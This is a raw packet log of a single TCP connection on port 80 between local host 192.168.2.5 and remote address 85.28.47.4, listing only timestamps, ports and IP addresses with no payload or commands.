Jun 27, 2024 19:26:02.479135990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479168892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479201078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479223967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479240894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479255915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479273081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479285955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479289055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479305983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479305983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479321957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479322910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479338884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479347944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479367971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479387045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479602098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479618073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479631901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479645967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479671001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479703903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479795933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479818106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479835987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479851961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479851007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479868889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479880095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479880095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479886055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479902983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.479927063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479927063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479927063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479952097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480155945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480181932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480197906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480210066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480212927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480230093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480237007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480237007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480247021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480257988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480263948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480278015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480281115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480297089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480302095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480302095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480312109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480323076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480330944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480340004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480349064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480365992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480365992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480385065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480670929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480685949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480700970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480715036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480734110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480766058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480829000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480844975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480856895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480870962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480885029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480886936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480901957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480911970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480911970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480921030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480931044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480937958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480954885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480957031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480957031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480971098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480976105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.480988026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.480993032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481004000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481013060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481028080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481041908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481051922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481051922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481067896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481077909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481084108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481105089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481106043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481105089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481125116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481143951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481762886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481780052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481792927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481807947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481823921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481823921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481823921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481838942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481853962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481869936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481869936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481869936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481878042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481894016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481900930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481900930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481910944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481920004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481931925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481940031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481947899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481956959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481965065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481976986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.481981993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.481997013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482002974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482003927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482012033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482023001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482028961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482045889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482049942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482050896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482069969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482089043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482429028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482444048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482459068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482486963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482486963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482523918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482568979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482583046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482598066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482614040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482618093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482630014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482635975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482647896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482661963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482661963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482676983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482678890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482692957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482705116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482705116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482709885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482728004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482729912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482729912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482743979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482749939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482762098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482769966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482778072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482789993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482795954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.482815981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482815981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.482835054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.511428118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.516216993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.724858999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.724883080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.724899054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.724948883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.724980116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.724992990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.724996090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725033045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725033998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725086927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725100994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725133896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725167036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725230932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725256920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725271940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725296974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725296974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725332022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725418091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725433111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725447893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725465059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725478888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725512981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725513935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725563049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725578070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725611925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725611925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725714922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725739956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725754976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725763083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725770950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725789070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725790024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725790024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725805998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725809097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725824118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.725827932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725851059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.725869894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726054907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726069927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726104021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726104021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726207972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726223946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726238966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726253986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726253986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726269960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726274967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726286888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726304054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726317883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726317883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726317883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726349115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726349115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726470947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726486921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726511955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726525068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726526022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726525068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726543903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726552010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726561069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726573944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726577997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726594925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726599932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726599932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726622105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726633072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726663113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726664066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726849079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726908922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.726939917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726954937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726969957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726984978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.726994038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727000952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727006912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727026939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727037907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727076054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727118015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727159023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727175951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727190018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727200985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727207899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727216005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727222919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727232933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727238894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727241039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727264881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727272034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727435112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727451086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727466106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727477074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727479935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727494955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727529049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727560997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727619886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727633953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727648020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727660894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727664948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727674007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727679968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727695942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727699995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727711916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727713108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727742910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727762938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.727957964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727972984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.727988958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728004932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728020906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728037119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728054047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.728055000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728061914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.728071928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728086948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728092909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.728102922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728113890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.728120089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.728137016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.728157997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:03.129177094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:03.129178047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:03.134068966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:03.134234905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:03.971251011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:03.971362114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.007683039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.014060974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:04.187592030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:04.187638044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:04.187675953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:04.187697887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.187752962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.187752962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.189696074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:04.195082903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:04.489929914 CEST	80	49705	85.28.47.4	192.168.2.5
